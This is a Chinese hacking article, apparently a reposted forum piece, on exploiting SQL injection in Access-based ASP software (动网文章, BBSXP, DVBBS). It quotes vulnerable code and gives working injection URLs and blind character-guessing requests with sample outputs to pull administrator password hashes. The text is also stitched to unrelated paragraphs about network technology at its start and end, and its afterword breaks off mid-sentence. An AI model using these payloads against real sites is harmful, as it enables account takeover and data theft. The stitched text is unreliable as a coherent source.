网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
>>>Dedicated This Scrap To CaoJing<<<
很多朋友在ACCESS下进行
SQL注入攻击的时候,总会抱怨:ACCESS功能太弱了,没有注释符、不支持多语句查询...另一方面,很多程序员在使用ACCESS做数据库写程序时,往往只对那些对敏感表的操作代码执行严格审查,而其他一些表的操作代码就很粗糙了。这只能说我们对ACCESS了解太少了,前不久我有幸看到了一个专门的ACCESS站点,其论坛划分了很多版块,竟然全是和ACCESS有关的;原来这里头的学问还蛮多的,我等只是略懂皮毛而已。小弟愚笨,没能力写概览型的文章,还是通过几个例子来向大家说明些问题:
一:动网文章
涉及版本:
^^^^^^^^^^
动网文章所有版本
描述:
^^^^^^
动网文章是一款由WWW.ASPSKY.NET开发和维护的源代码开放的文章管理系统,在国内使用非常广泛;由于其list.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击。
具体:
^^^^^^
试看list.asp中的相关代码:
15 sql="select Aclass.class,ANclass.Nclass,article.title,article.classid,article.Nclassid from article,Aclass,ANclass where article.classid=Aclass.classid and article.Nclassid=ANclass.Nclassid and article.articleID="&request("id")
id没有经任何检查就直接放到SQL查询中,这点大家都很容易看出来,但说到利用,一些朋友就可是犯难了:这个语句对应的表是 article ,但管理密码在 admin 表里面,ACCESS又不能执行多语句查询,这个bug有什么用啊?呵呵,我们使用子查询不就得了,方法好多哦:
http://www.target.com/asp/darticle/list.asp?id=(select id from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=1 and exists (select id from admin where flag=1)
http://www.target.com/asp/darticle/list.asp?id=1 and article.articleID in (select top 1 id from admin where len(password)>1 order by id)
等等...
怎么得到管理员密码就不用我废话了吧:)
二:BBSXP
涉及版本:
^^^^^^^^^^
BBSXP所有版本
描述:
^^^^^^
BBSXP是一款由WWW.BBSXP.COM开发和维护的源代码开放的Asp论坛;由于作者采用的安全防护措施过于简单,导致整个论坛多个文件存在Sql Injection漏洞,非法用户可以很快地智能破解任意用户口令或进行其他恶意攻击。
具体:
^^^^^^
前不久我写了篇关于BBSXP漏洞的文章,作者简单的把论坛升了级,但仍然没有全面解决Sql Injection的问题,比如说:
bank.asp
-------------------------------------------------------------------------------
152 sql="select * from user where username='"&request("dxname")&"'"
153 rs1.Open sql,Conn,1,3
154 if rs1.eof then
155 message=message&"<li>查无此人的账号!"
156 end if
-------------------------------------------------------------------------------
呵呵,拿user表中所有用户密码没问题了,但又有人开始嘀咕了:BBSXP后台管理密码和论坛前台密码不同,怎么办啊?
后台密码存放在 clubconfig 表中,还是和上面利用方法一样,使用子查询嘛。
还给个例子吧:
searchok.asp
-------------------------------------------------------------------------------
forumid=Request("forumid")
...
21 if Request("forumid")<>"" then
22 forumidor="forumid="&forumid&" and"
end if
...
sql="select * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimit&" order by lasttime Desc "
...
-------------------------------------------------------------------------------
提交类似如下URL(最好写个小代码发送这个请求):
http://www.target.com/bbsxp165/b ... dminpassword)>1)
瞧,我们这不是开始对 clubconfig 表进行查询了吗?
三:动网论坛(DVBBS)存在严重漏洞(补充)
这个漏洞我公布后,就有好多朋友给我写信,有的问怎么破解MD5(有破解的必要吗?)、有的要测试代码、还有的要我做个
动画...同时也有人说后台管理密码和论坛前台密码不同,怎么拿后台的?我猜这些朋友自己没怎么思考,思考应该是种很美的享受吧?
我补充下怎么拿后台MD5加密的管理密码:
http://www.target.com/dv/tongji. ... id)%20from%20admin),
返回:
-------------------------------------------------------------------------------
document.write('□');document.write('9');document.write('
');document.write('□');document.write('9');document.write('
');
-------------------------------------------------------------------------------
http://www.target.com/dv/tongji. ... ere%20left(password,1)='a'),
返回:
-------------------------------------------------------------------------------
document.write('□');document.write('');document.write('
');document.write('□');document.write('');document.write('
');
-------------------------------------------------------------------------------
啊,为空,我们猜错了,再来:
http://www.target.com/dv/tongji. ... ere%20left(password,1)='d'),
返回:
-------------------------------------------------------------------------------
document.write('□');document.write('9');document.write('
');document.write('□');document.write('9');document.write('
');
-------------------------------------------------------------------------------
哈哈,这下猜对了。
接下来由你继续,当然,你可以把我以前写的那个
小程序稍微修改后再放到这里使用!
不过我要提醒你,DVBBS后台管理文件是cookie+session双重认证哦!
后记:我到一个原代码下载站随机down了一些程序,包括论坛、留言本、文章下载管理...发现都存在类似的问题。其实只要我们
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
……